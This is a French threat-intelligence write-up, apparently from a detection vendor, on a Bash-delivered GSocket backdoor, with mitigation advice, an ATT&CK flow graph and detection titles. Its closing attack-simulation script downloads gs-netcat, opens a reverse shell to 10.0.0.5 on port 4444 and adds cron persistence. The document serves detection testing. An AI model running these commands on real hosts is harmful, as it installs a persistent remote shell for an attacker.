Cheval de Troie GSocket Distribué via un Script Bash
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Un script Bash armé télécharge et lance un client GSocket (gs-netcat) pour établir une porte dérobée sur les hôtes Linux et macOS. Il maintient la persistance via des tâches cron et des modifications à .profile, tout en enregistrant un secret partagé dans un faux fichier de clé SSH. Pour réduire la visibilité médico-légale, le script utilise des méthodes anti-forensiques qui altèrent les horodatages et dissimulent les preuves de modification de fichiers. La porte dérobée résultante communique vers l’extérieur via le réseau de relais GSocket jusqu’à une IP distante.
Enquête
Le chercheur a déclenché le script dans un bac à sable et a confirmé la récupération du gs-netcat binaire, la création d’une entrée de persistance basée sur cron, et l’altération des fichiers de démarrage utilisateur. Un fichier ELF truqué nommé id_rsa est déposé dans le répertoire .ssh , avec le secret partagé intégré dans ce qui semble être une clé SSH. Des routines de réinitialisation des horodatages ont également été identifiées, montrant des efforts délibérés pour brouiller les chronologies médico-légales. Le script prend en charge plusieurs systèmes de type Unix en détectant d’abord l’OS hôte.
Atténuation
Les défenseurs devraient bloquer le trafic sortant vers les domaines et adresses IP de relais GSocket connus, et surveiller les entrées cron non autorisées ou les changements suspects aux .profile and .ssh chemins. La logique de détection basée sur l’hôte devrait signaler l’utilisation du gs-netcat nom de fichier ainsi que les commandes couramment utilisées pour manipuler les horodatages. Les contrôles de moindre privilège et la surveillance de l’intégrité sur les fichiers de démarrage peuvent limiter encore davantage la capacité de la porte dérobée à persister sans être détectée.
Réponse
Si ces indicateurs apparaissent, isolez l’hôte, acquérez le script malveillant et les binaires déposés, et commencez un examen médico-légal complet. Retirez le mécanisme de persistance des tâches cron et tous les artefacts malveillants, faites pivoter les clés SSH affectées, et invalidez tous les secrets partagés. Étendez la chasse dans l’environnement pour trouver des indicateurs correspondants et actualisez le contenu de détection pour capturer des activités similaires.
"graph TB %% Class definitions classDef technique fill:#c2e0ff classDef tool fill:#ffd9b3 classDef operator fill:#ffcc99 %% Technique nodes tech_initial_user_execution["<b>Technique</b> – <b>T1204.004 Exécution par l’utilisateur</b>: Script Bash malveillant exécuté par un utilisateur."] class tech_initial_user_execution technique tech_persistence_cron["<b>Technique</b> – <b>T1053.003 Tâche Planifiée Job Cron</b>: Tâche cron horaire qui tue et redémarre un binaire gs-netcat déguisé."] class tech_persistence_cron technique tech_boot_init["<b>Technique</b> – <b>T1037 Scripts d’Initialisation de Connexion</b>: Injection de commandes malveillantes dans le .profile de l’utilisateur pour la persistance."] class tech_boot_init technique tech_compromise_binary["<b>Technique</b> – <b>T1554 Compromission de Logiciel Binaire de l’Hôte</b>: gs-netcat copié dans ~/.ssh/putty et déguisé en id_rsa."] class tech_compromise_binary technique tech_private_keys["<b>Technique</b> – <b>T1552.004 Clés Privées de Crédentiels Non Sécurisés</b>: Secret partagé stocké à l’intérieur d’une fausse clé privée SSH."] class tech_private_keys technique tech_timestomp["<b>Technique</b> – <b>T1070.006 Timestomp</b>: Suivi et restauration d’horodatage personnalisés pour cacher les modifications de fichiers."] class tech_timestomp technique tech_time_evasion["<b>Technique</b> – <b>T1497.003 Évasion de Bac à Sable de Virtualisation Basée sur le Temps</b>: Manipulation d’horodatages pour échapper aux environnements d’analyse."] class tech_time_evasion technique tech_protocol_tunneling["<b>Technique</b> – <b>T1572 Tunneling de Protocole</b>: Trafic réseau tunnelisé à travers un réseau de relais GSocket."] class tech_protocol_tunneling technique tech_proxy_multi["<b>Technique</b> – <b>T1090 Proxy Multi-hop</b>: Trafic redirigé à travers le CDN GSocket pour un proxy interne et externe."] class tech_proxy_multi technique tech_ssh_lateral["<b>Technique</b> – <b>T1021.004 Services à Distance SSH</b> / <b>T1563.001 Détournement SSH</b>: gs-netcat exécuté comme une clé SSH déguisée pour un mouvement latéral."] class tech_ssh_lateral technique %% Tool nodes tool_gsnetcat["<b>Outil</b> – <b>Nom</b>: gs-netcat<br/><b>Description</b>: Variante de Netcat utilisée pour le commandement et contrôle furtif."] class tool_gsnetcat tool tool_gsocket["<b>Outil</b> – <b>Nom</b>: GSocket CDN<br/><b>Description</b>: Réseau de relais fournissant des services de tunneling et de proxy."] class tool_gsocket tool %% Attack flow connections tech_initial_user_execution –>|active| tech_persistence_cron tech_persistence_cron –>|active| tech_boot_init tech_boot_init –>|active| tech_compromise_binary tech_compromise_binary –>|utilise| tool_gsnetcat tech_compromise_binary –>|active| tech_private_keys tech_private_keys –>|soutient| tech_timestomp tech_timestomp –>|soutient| tech_time_evasion tech_time_evasion –>|active| tech_protocol_tunneling tech_protocol_tunneling –>|utilise| tool_gsocket tool_gsocket –>|facilite| tech_proxy_multi tech_proxy_multi –>|active| tech_ssh_lateral tech_ssh_lateral –>|utilise| tool_gsnetcat "
Flux d’attaque
Détections
Un fichier Cron a été créé (via file_event)
Voir
Un fichier caché a été créé sur un hôte Linux (via file_event)
Voir
Manipulation de chaînes encodées en Base64 possible (via cmdline)
Voir
IOCs (HashSha256) à détecter : Backdoor GSocket livré via script Bash
Voir
Installation de la backdoor GSocket via script Bash avec gs-netcat et persistance par cron [Création de processus Linux]
Voir
Exécution de la simulation
Condition préalable : Le contrôle pré-vol de télémétrie et de référence doit avoir réussi.
-
Narrative de l’attaque & Commandes :
Un attaquant avec des privilèges limités obtient lebinaire gs-netcatd’un référentiel public, le place dans/usr/local/bin, et le lance pour ouvrir un shell inversé sur le port 4444. Pour maintenir l’accès, l’attaquant crée une tâche cron qui redémarre la porte dérobée chaque heure. Les étapes sont effectuées à partir d’un shell compromis sur l’hôte cible. -
Script de test de régression :
#!/usr/bin/env bash set -euo pipefail # 1. Télécharger gs-netcat (simulé avec un petit binaire de remplacement) echo "[*] Téléchargement du placeholder gs-netcat ..." curl -s -o /usr/local/bin/gs-netcat https://raw.githubusercontent.com/maaaaz/gs-netcat/master/gs-netcat_linux_amd64 chmod +x /usr/local/bin/gs-netcat # 2. Démarrer gs-netcat en arrière-plan (shell inversé vers l'IP de l'attaquant 10.0.0.5) echo "[*] Démarrage du shell inversé gs-netcat ..." /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash & GSN_PID=$! # 3. Vérifier le processus en cours d'exécution en veille 2 ps -p "$GSN_PID" -o pid,cmd # 4. Créer une tâche cron qui redémarre gs-netcat au début de chaque heure echo "[*] Ajout de la persistance via cron ..." (crontab -l 2>/dev/null; echo "0 * * * * /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash >/dev/null 2>&1") | crontab - echo "[+] Simulation complète. En attente de détection." -
Commandes de nettoyage :
#!/usr/bin/env bash set -euo pipefail # Supprimer l'entrée cron ajoutée ci-dessus echo "[*] Suppression du travail cron malveillant ..." crontab -l | grep -v "/usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash" | crontab - # Tuer tous les processus gs-netcat en cours d'exécution echo "[*] Arrêt des processus gs-netcat ..." pkill -f "/usr/local/bin/gs-netcat" || true # Supprimer le binaire echo "[*] Suppression du binaire gs-netcat ..." rm -f /usr/local/bin/gs-netcat echo "[+] Nettoyage terminé."